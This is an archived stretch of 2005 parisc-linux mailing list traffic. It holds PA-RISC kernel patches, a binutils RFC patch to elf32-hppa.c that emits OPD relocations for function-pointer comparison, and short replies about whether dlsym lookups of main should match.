 	 * use ldd/std on a 32 bit kernel.
 	 */
+	ldw		0(%r25), %r19
 	ldi		64, %r1		/* PAGE_SIZE/64 == 64 */
 
 1:
-	ldw		0(%r25), %r19
 	ldw		4(%r25), %r20
 	ldw		8(%r25), %r21
 	ldw		12(%r25), %r22
@@ -399,11 +403,12 @@ copy_user_page_asm:
 	ldw		60(%r25), %r22
 	stw		%r19, 48(%r26)
 	stw		%r20, 52(%r26)
+	ldo		64(%r25), %r25
 	stw		%r21, 56(%r26)
 	stw		%r22, 60(%r26)
 	ldo		64(%r26), %r26
-	ADDIB>		-1, %r1, 1b
-	ldo		64(%r25), %r25
+	ADDIB>,n	-1, %r1, 1b
+	ldw		0(%r25), %r19
 #endif
 	bv		%r0(%r2)
 	nop
@@ -994,7 +999,7 @@ flush_kernel_icache_range_asm:
 
 	.procend
 
-	.align	128
+	.align	512
 
 	.export disable_sr_hashing_asm,code
 
Index: drivers/usb/input/hid-core.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/usb/input/hid-core.c,v
retrieving revision 1.15
diff -u -p -u -3 -p -r1.15 hid-core.c
--- drivers/usb/input/hid-core.c	4 Dec 2004 07:02:49 -0000	1.15
+++ drivers/usb/input/hid-core.c	20 Jun 2005 14:57:09 -0000
@@ -751,21 +751,31 @@ static __inline__ __u32 s32ton(__s32 val
 }
 
 /*
- * Extract/implement a data field from/to a report.
+ * Extract/implement a data field from/to a little endian report (bit array).
  */
 
 static __inline__ __u32 extract(__u8 *report, unsigned offset, unsigned n)
 {
-	report += (offset >> 5) << 2; offset &= 31;
-	return (le64_to_cpu(get_unaligned((__le64*)report)) >> offset) & ((1 << n) - 1);
+	u32 x;
+
+	report += offset >> 3;  /* adjust byte index */
+	offset &= 8 - 1;
+	x = get_unaligned((u32 *) report);
+	x = le32_to_cpu(x);
+	x = (x >> offset) & ((1 << n) - 1);
+	return x;
 }
 
 static __inline__ void implement(__u8 *report, unsigned offset, unsigned n, __u32 value)
 {
-	report += (offset >> 5) << 2; offset &= 31;
-	put_unaligned((get_unaligned((__le64*)report)
-		& cpu_to_le64(~((((__u64) 1 << n) - 1) << offset)))
-		| cpu_to_le64((__u64)value << offset), (__le64*)report);
+	u32 x;
+
+	report += offset >> 3;
+	offset &= 8 - 1;
+	x = get_unaligned((u32 *)report);
+	x &= cpu_to_le32(~((((__u32) 1 << n) - 1) << offset));
+	x |= cpu_to_le32(value << offset);
+	put_unaligned(x,(u32 *)report);
 }
 
 /*
Index: fs/ioctl.c
===================================================================
RCS file: /var/cvs/linux-2.6/fs/ioctl.c,v
retrieving revision 1.5
diff -u -p -u -3 -p -r1.5 ioctl.c
--- fs/ioctl.c	21 Oct 2004 18:59:38 -0000	1.5
+++ fs/ioctl.c	20 Jun 2005 14:57:11 -0000
@@ -44,7 +44,11 @@ static int file_ioctl(struct file *filp,
 				return -EBADF;
 			return put_user(inode->i_sb->s_blocksize, p);
 		case FIONREAD:
-			return put_user(i_size_read(inode) - filp->f_pos, p);
+		{
+			int sz;
+			sz = i_size_read(inode) - filp->f_pos;
+			return put_user(sz, p);
+		}
 	}
 	if (filp->f_op && filp->f_op->ioctl)
 		return filp->f_op->ioctl(inode, filp, cmd, arg);
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.17
diff -u -p -u -3 -p -r1.17 uaccess.h
--- include/asm-parisc/uaccess.h	17 Sep 2004 20:58:41 -0000	1.17
+++ include/asm-parisc/uaccess.h	20 Jun 2005 14:57:13 -0000
@@ -142,22 +142,23 @@ struct exception_data {
 #define __put_user(x,ptr)                                       \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;      	\
+        __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_kernel_asm("stb",x,ptr); break;       \
-	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
-	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
-	    case 8: STD_KERNEL(x,ptr); break;			\
+	    case 1: __put_kernel_asm("stb",__x,ptr); break;     \
+	    case 2: __put_kernel_asm("sth",__x,ptr); break;     \
+	    case 4: __put_kernel_asm("stw",__x,ptr); break;     \
+	    case 8: STD_KERNEL(__x,ptr); break;			\
 	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_user_asm("stb",x,ptr); break;         \
-	    case 2: __put_user_asm("sth",x,ptr); break;         \
-	    case 4: __put_user_asm("stw",x,ptr); break;         \
-	    case 8: STD_USER(x,ptr); break;			\
+	    case 1: __put_user_asm("stb",__x,ptr); break;       \
+	    case 2: __put_user_asm("sth",__x,ptr); break;       \
+	    case 4: __put_user_asm("stw",__x,ptr); break;       \
+	    case 8: STD_USER(__x,ptr); break;			\
 	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Emit OPD reloc for all global symbols and then
	some.
Date: Mon, 20 Jun 2005 15:02:52 -0400
Lines: 386
Approved: news@gmane.org
Message-ID: <20050620190243.GB5269__26798.2608442709$1416623805$gmane$org@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623805 14851 80.91.229.3 (22 Nov 2014 02:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:45 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
To: binutils@sources.redhat.com
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 19:03:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 20 Jun 2005 21:03:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F217E7D6AC;
	Mon, 20 Jun 2005 13:03:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07573-06; Mon, 20 Jun 2005 13:03:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E29B07D6AF;
	Mon, 20 Jun 2005 13:03:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D8047D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 13:02:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07573-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 13:02:57 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 620D87D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 13:02:57 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DkRXo-0002uL-00; Mon, 20 Jun 2005 15:02:52 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vHfFYh86eSEkMb6WZHQhaXN1IGRvb4DR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22783


binutils,

--- Robust function descriptor comparison fixes ---

Under hppa-linux:
------------------
We want to generate a PLABEL32 (OPD reloc) against all global symbols,
and then some. For example it should be possible for an application to
call dlsym asking for the address of main, and when compared to main it
should match.

- The main symbol returned by dlsym is an OPD.
- The main symbol in the executable is pointing at the PLT.
- GCC does generat an OPD reloc against main.
- ld optimizes away away the OPD reloc, and main is pointed it at the PLT. 
- A comparison between the two functions fails (e.g. if (main == foo))

For the sake of "comparing" function descriptors, we need to emit that
OPD for main, and all global symbols.

How did we do this in the past? GCC had to keep exact function type
information and generate a call to a special function that resolved the
PLT, and did a comparison of the ip/gp pair in the PLT to the OPD ip/gp
pair. This special function required _GOT_ to be visible globally.

We don't want _GOT_ globally visible. We don't want special comparison
functions. We want an OPD per function, and comparison should be as
easy as address equality.

How is this accomplished?

a. Keep a consistent meaning for hh->plabel.
   It will always indicate the symbol has an OPD reloc against it.

b. In check_relocs we need to count the reloc against the symbol
   and allocate space.

c. In allocate_dynrelocs we need to keep the space for this symbol
   even if we would like to get rid of this.

d. In relocate_section we need to emit the OPD reloc for this symbol.

e. We must be careful to copy all the required bits in
   copy_indirect_symbol when the versioned symbol won't pass through 
   check_relocs, and needs the space we already allocated for the reloc.

There are a couple of places where I am in doubt:

elf32_hppa_hide_symbol:
-----------------------
The comment indicates "so that we can keep plt entries for plabels."
However the conditional checks for "!hh->plabel" and this seems 
contrary to my reasoning. Which probably means my reasoning is flawed.
I have left this reference to ->plabel alone.

copy_indirect_symbol:
----------------------
I unconditionally |= the bits of 'plabel' and 'non_plabel_ref' into the 
direct version of the symbol. Is this the correct behaviour?

check_reloc:
allocate_dynreloc:
relocate_section:
-------------------
All of them check 
        (!eh->non_got_ref || hh->plabel)
        && (!hh->elf.def_dynamic 
            && hh->def_regular 
            && hh->plabel)

non_got_ref is set only in the (!info->shared && eh->dynindx != -1), case.
So along with "|| hh->plabel", it identifies all the global symbols which in
the case of the executable *were* being optimized away to point into the
plt.

The other set of conditionals catches local def_regular symbols like
main which have an OPD reloc against them and should be emitted in the
executable.

Does that seem like a sound plan?

Nit picks:
-----------
The linker continues to do extra work, outputing the required
information to point the OPD word to the plt, but it's overwritten by
ld.so at runtime when it creates the OPD and puts the word there. I have
yet to clean this up, its removal would make linking faster (but not by
much).

Testing:
---------
C++ testing is required. The libstdc++ testsuite is probably a good
place where this might fail.

---

The patch below has a single regression in the entire toolchain, but
fixes all function comparison failues in the glibc testsuite. The single
regression in the gcc 4.0.0 'C' testsuite and the compilation times out.
The cause is under investigation.

--- elf32-hppa.c.00-cleanup	2005-06-20 14:13:37.000000000 -0400
+++ elf32-hppa.c	2005-06-20 14:14:35.000000000 -0400
@@ -229,6 +229,8 @@
 
   /* Set if this symbol is used by a plabel reloc.  */
   unsigned int plabel:1;
+  /* Set if the symbol is referenced by more than just a plabel reloc */
+  unsigned int non_plabel_ref:1;
 };
 
 struct elf32_hppa_link_hash_table {
@@ -371,6 +373,7 @@
       hh = hppa_elf_hash_entry (entry);
       hh->stub_cache = NULL;
       hh->dyn_relocs = NULL;
+      hh->non_plabel_ref = 0;
       hh->plabel = 0;
     }
 
@@ -589,10 +592,12 @@
   bfd_vma max_branch_offset;
   unsigned int r_type;
 
+  /* A symbol with a plabel does not require a stub, unless
+     it has more than just a plabel reference. */
   if (hh != NULL
       && hh->elf.plt.offset != (bfd_vma) -1
       && hh->elf.dynindx != -1
-      && !hh->plabel
+      && hh->non_plabel_ref
       && (info->shared
 	  || !hh->elf.def_regular
 	  || hh->elf.root.type == bfd_link_hash_defweak))
@@ -961,7 +966,6 @@
 elf32_hppa_create_dynamic_sections (bfd *abfd, struct bfd_link_info *info)
 {
   struct elf32_hppa_link_hash_table *htab;
-  struct elf_link_hash_entry *eh;
 
   /* Don't try to create the .plt and .got twice.  */
   htab = hppa_link_hash_table (info);
@@ -990,12 +994,7 @@
   htab->sdynbss = bfd_get_section_by_name (abfd, ".dynbss");
   htab->srelbss = bfd_get_section_by_name (abfd, ".rela.bss");
 
-  /* hppa-linux needs _GLOBAL_OFFSET_TABLE_ to be visible from the main
-     application, because __canonicalize_funcptr_for_compare needs it.  */
-  eh = elf_hash_table (info)->hgot;
-  eh->forced_local = 0;
-  eh->other = STV_DEFAULT;
-  return bfd_elf_link_record_dynamic_symbol (info, eh);
+  return TRUE;
 }
 
 /* Copy the extra info we tack onto an elf_link_hash_entry.  */
@@ -1046,6 +1045,9 @@
       hh_ind->dyn_relocs = NULL;
     }
 
+  hh_dir->plabel |= hh_ind->plabel;
+  hh_dir->non_plabel_ref |= hh_ind->non_plabel_ref;
+  
   if (ELIMINATE_COPY_RELOCS
       && eh_ind->root.type != bfd_link_hash_indirect
       && eh_dir->dynamic_adjusted)
@@ -1109,11 +1111,11 @@
       if (r_symndx < symtab_hdr->sh_info)
 	hh = NULL;
       else
-        {
+	{
 	  hh = hppa_elf_hash_entry (eh_syms[r_symndx - symtab_hdr->sh_info]);
 	  while (hh->elf.root.type == bfd_link_hash_indirect
 		 || hh->elf.root.type == bfd_link_hash_warning)
-	    hh = hppa_elf_hash_entry (hh->elf.root.u.i.link);
+	    hh = hppa_elf_hash_entry (h->elf.root.u.i.link);
 	}
 
       r_type = ELF32_R_TYPE (rela->r_info);
@@ -1134,6 +1136,14 @@
 	  if (rela->r_addend != 0)
 	    abort ();
 
+          /* The definition is slightly changed: 
+	     All global symbols must have PLABEL32 relocs against
+	     their plabel data word, this will generate an OPD 
+	     against which symbol comparions may occur without
+	     help from special helper functions like 
+	     __canonicalize_function_pointer_for_compare.
+	     */
+	  
 	  /* If we are creating a shared library, then we need to
 	     create a PLT entry for all PLABELs, because PLABELs with
 	     local symbols may be passed via a pointer to another
@@ -1309,6 +1319,7 @@
 		}
 	      else if (need_entry & PLT_PLABEL)
 		{
+		  /* PLABEL to a local symbol */
 		  bfd_signed_vma *local_got_refcounts;
 		  bfd_signed_vma *local_plt_refcounts;
 
@@ -1369,6 +1380,12 @@
 	     may need to keep relocations for symbols satisfied by a
 	     dynamic library if we manage to avoid copy relocs for the
 	     symbol.  */
+
+	  /* Note we also allow certain local functions to emit
+	     relocs, this is so that glibc can create an OPD for
+	     this symbol at runtime. 'main' is probably the best
+	     example. */
+	    	    
 	  if ((info->shared
 	       && (sec->flags & SEC_ALLOC) != 0
 	       && (IS_ABSOLUTE_RELOC (r_type)
@@ -1381,7 +1398,10 @@
 		  && (sec->flags & SEC_ALLOC) != 0
 		  && hh != NULL
 		  && (hh->elf.root.type == bfd_link_hash_defweak
-		      || !hh->elf.def_regular)))
+		      || !hh->elf.def_regular
+		      || (!hh->elf.def_dynamic 
+			  && hh->elf.def_regular 
+			  && hh->plabel))))
 	    {
 	      struct elf32_hppa_dyn_reloc_entry *hdh_p;
 	      struct elf32_hppa_dyn_reloc_entry **hdh_head;
@@ -1703,6 +1723,7 @@
 	}
     }
 
+  /* TODO: This logic seems flawed. */
   if (! hppa_elf_hash_entry(eh)->plabel)
     {
       eh->needs_plt = 0;
@@ -1886,12 +1907,9 @@
 
       if (WILL_CALL_FINISH_DYNAMIC_SYMBOL (1, info->shared, eh))
 	{
-	  /* Allocate these later.  From this point on, h->plabel
-	     means that the plt entry is only used by a plabel.
-	     We'll be using a normal plt entry for this symbol, so
-	     clear the plabel indicator.  */
-	  
-	  hh->plabel = 0;
+	  /* Allocate these later.
+	     We have assume a non-plabel reference */
+	  hh->non_plabel_ref = 1;
 	}
       else if (hh->plabel)
 	{
@@ -1900,6 +1918,8 @@
 	  sec = htab->splt;
 	  eh->plt.offset = sec->size;
 	  sec->size += PLT_ENTRY_SIZE;
+	  /* Only a plabel reference */
+	  hh->non_plabel_ref = 0;
 	}
       else
 	{
@@ -1910,6 +1930,7 @@
     }
   else
     {
+      /* No .plt entry needed. */
       eh->plt.offset = (bfd_vma) -1;
       eh->needs_plt = 0;
     }
@@ -1941,7 +1962,7 @@
   
   if (htab->elf.dynamic_sections_created
       && eh->plt.offset != (bfd_vma) -1
-      && !hh->plabel
+      && hh->non_plabel_ref
       && eh->plt.refcount > 0)
     {
       /* Make an entry in the .plt section.  */
@@ -2011,21 +2032,28 @@
 	 visibility.  */
       if (ELF_ST_VISIBILITY (eh->other) != STV_DEFAULT
 	  && eh->root.type == bfd_link_hash_undefweak)
-	hh->dyn_relocs = NULL;
+        {
+	  hh->dyn_relocs = NULL;
+	  return TRUE;
+	}
     }
   else
     {
       /* For the non-shared case, discard space for relocs against
 	 symbols which turn out to need copy relocs or are not
-	 dynamic.  */
-      
-      if (!eh->non_got_ref
-	  && ((ELIMINATE_COPY_RELOCS
-	       && eh->def_dynamic
-	       && !eh->def_regular)
-	       || (htab->elf.dynamic_sections_created
-		   && (eh->root.type == bfd_link_hash_undefweak
-		       || eh->root.type == bfd_link_hash_undefined))))
+	 dynamic. We always want a plabel dynrel for the OPD,
+	 even if it's a DEF_REGULAR && !DEF_DYNAMIC, we need this
+	 for function descriptor comparisons. */      
+      if ((!eh->non_got_ref || hh->plabel)
+	  && ((!eh->def_dynamic
+	       && eh->def_regular
+	       && hh->plabel)
+	      || (ELIMINATE_COPY_RELOCS
+	          && eh->def_dynamic
+	          && !eh->def_regular)
+	      || (htab->elf.dynamic_sections_created
+		  && (eh->root.type == bfd_link_hash_undefweak
+		      || eh->root.type == bfd_link_hash_undefined))))
 	{
 	  /* Make sure this symbol is output as a dynamic symbol.
 	     Undefined weak syms won't yet be marked as dynamic.  */
@@ -3186,7 +3214,7 @@
 	  || (hh != NULL
 	      && hh->elf.plt.offset != (bfd_vma) -1
 	      && hh->elf.dynindx != -1
-	      && !hh->plabel
+	      && hh->non_plabel_ref
 	      && (info->shared
 		  || !hh->elf.def_regular
 		  || hh->elf.root.type == bfd_link_hash_defweak)))
@@ -3627,9 +3655,16 @@
 	    bfd_map_over_sections (output_bfd, hppa_record_segment_addr, htab);
 	  break;
 
+	case R_PARISC_PLABEL32:
+
+	  /* This is a true dynamic plabel reloc, the other will be
+	     rebuilt to point at the plabel word, which points to a
+	     .plt entry */
+	  if (htab->elf.dynamic_sections_created)
+	    plabel = 1;
+	  
 	case R_PARISC_PLABEL14R:
 	case R_PARISC_PLABEL21L:
-	case R_PARISC_PLABEL32:
 	  if (htab->elf.dynamic_sections_created)
 	    {
 	      bfd_vma off;
@@ -3642,7 +3677,7 @@
 		  if (! WILL_CALL_FINISH_DYNAMIC_SYMBOL (1, info->shared,
 							 &hh->elf))
 		    {
-		      /* In a non-shared link, adjust_dynamic_symbols
+		      /* In a non-shared link, adjust_dynamic_symbol
 			 isn't called for symbols forced local.  We
 			 need to write out the plt entry here.  */
 		      if ((off & 1) != 0)
@@ -3724,7 +3759,6 @@
 				+ htab->splt->output_section->vma
 				+ 2);
 		}
-	      plabel = 1;
 	    }
 	  /* Fall through and possibly emit a dynamic relocation.  */
 
@@ -3765,10 +3799,13 @@
 	      || (!info->shared
 		  && hh != NULL
 		  && hh->elf.dynindx != -1
-		  && !hh->elf.non_got_ref
-		  && ((ELIMINATE_COPY_RELOCS
-		       && hh->elf.def_dynamic
-		       && !hh->elf.def_regular)
+		  && (!hh->elf.non_got_ref || plabel)
+		  && ((!hh->elf.def_dynamic
+		       && hh->elf.def_regular
+		       && plabel) 		    
+		      || (ELIMINATE_COPY_RELOCS
+		          && hh->elf.def_dynamic
+		          && !hh->elf.def_regular)
 		      || hh->elf.root.type == bfd_link_hash_undefweak
 		      || hh->elf.root.type == bfd_link_hash_undefined)))
 	    {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols and
	then some.
Date: Mon, 20 Jun 2005 16:26:25 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200506202026.j5KKQPb7007471__26515.3234162883$1416623806$gmane$org@hiauly1.hia.nrc.ca>
References: <20050620191501.GA31614@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623806 14864 80.91.229.3 (22 Nov 2014 02:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:46 +0000 (UTC)
Cc: carlos@systemhalted.org,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: hjl@lucon.org (H. J. Lu)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 20:26:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 20 Jun 2005 22:26:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53F657D6BA;
	Mon, 20 Jun 2005 14:26:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08185-09; Mon, 20 Jun 2005 14:26:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B997F7D6BC;
	Mon, 20 Jun 2005 14:26:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F10B07D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:26:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08189-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:26:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5E2417D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:26:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5KKQQnV007472; Mon, 20 Jun 2005 16:26:26 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5KKQPb7007471;
	Mon, 20 Jun 2005 16:26:25 -0400 (EDT)
In-Reply-To: <20050620191501.GA31614@lucon.org> from "H. J. Lu" at Jun 20,
	2005 12:15:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 10PFYgIWeSEkQr6WZHQhaXN1IGRvbwDR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22784

> > Under hppa-linux:
> > ------------------
> > We want to generate a PLABEL32 (OPD reloc) against all global symbols,
> > and then some. For example it should be possible for an application to
> > call dlsym asking for the address of main, and when compared to main it
> > should match.
> > 
> 
> Does it work on Linux/ia32? If not, why should it work on Linux/hppa?

The linux manpage for dlsym indicates that symbols in the main
program can be looked up with dlsym:

     If filename is a NULL pointer, then the returned handle is
     for the main program.  When given to dlsym(), this  handle
     causes a search for a symbol in the main program, followed
     by all shared libraries loaded  at  program  startup,  and
     then all shared libraries loaded by dlopen() with the flag
     RTLD_GLOBAL.

So, if it doesn't work, that would seem to be a bug in Linux/ia32.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. J. Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols and
	then some.
Date: Mon, 20 Jun 2005 13:40:56 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20050620204056.GA351__1259.46872071854$1416623806$gmane$org@lucon.org>
References: <20050620191501.GA31614@lucon.org>
	<200506202026.j5KKQPb7007471@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623806 14866 80.91.229.3 (22 Nov 2014 02:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:46 +0000 (UTC)
Cc: carlos@systemhalted.org,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 20:41:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 20 Jun 2005 22:41:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CD457D6BA;
	Mon, 20 Jun 2005 14:41:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08526-08; Mon, 20 Jun 2005 14:41:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E91197D6C5;
	Mon, 20 Jun 2005 14:41:00 -0600 (MDT)
